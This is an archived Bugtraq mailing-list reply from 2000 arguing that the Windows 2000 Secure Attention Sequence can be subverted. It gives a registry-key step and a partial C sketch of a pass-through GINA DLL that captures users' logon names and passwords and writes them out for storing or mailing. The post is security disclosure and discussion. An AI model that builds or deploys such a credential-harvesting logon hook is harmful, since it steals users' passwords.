Re: Windows 2000 Run As... Feature

From: jdglaser (jdglaserat_private)
Date: Mon Jan 24 2000 - 06:31:31 PST

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    That's a good point.
    I'd like to add that MS Secure Attention Sequence is not exactly so
    trusted.
    Nothing prevents another Gina from being put into play, nor prevents
    process code injection - DLL API hooking.
    
    One way to do this can be done by altering the reg key
    HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon
    to implement a Pass-Through Gina (one which grabs your password and then
    calls through to the real Gina)
    
    While SAS prevents the old-style pop and disappear logon screens, it does
    nothing to prevent password interception by trojan dll injection.
    
    Both of these compromise the trust of the current SAS implemetation.
    
    In light of that, I'm not sure another password path matters.
    
    Just my thoughts,
    jdg
    
    Attached is an example of GINA pass-through code - pop the below listed
    code into a dll, write the dll name as the value to the above listed key
    and SAS now has an untrusted element.
    
    int WINAPI WlxLoggedOutSAS (PVOID pWlxContext,   DWORD dwSasType,
     			   PLUID pAuthenticationId, PSID pLogonSid,
        			   PDWORD pdwOptions, PHANDLE phToken,
    			   PWLX_MPR_NOTIFY_INFO pMprNotifyInfo,
                                PVOID *pProfile)
    {
    	//call real gina api
       iRet = GWlxLoggedOutSAS (pWlxContext,  dwSasType, pAuthenticationId,
    pLogonSid,
                               		 pdwOptions,  phToken,  pMprNotifyInfo,
     pProfile);
    
           pMprNotifyInfo->pszUserName, <-Grab this
           pMprNotifyInfo->pszPassword, <-Grab this
             <insert whatever>
          hFile = CreateFile (); <-Store it, send it, mail it
             WriteFile ();
             CloseHandle (hFile);
    
       return iRet;
    
    }
    
    
    
    -----Original Message-----
    From:	David Terrell [SMTP:dbtat_private]
    Sent:	Friday, January 21, 2000 3:49 PM
    To:	BUGTRAQat_private
    Subject:	Windows 2000 Run As... Feature
    
    >this is the first time (I know of) that the system asks for your password
    >through a mechanism other than the trusted path (ctrl-alt-del to
    >login,
    



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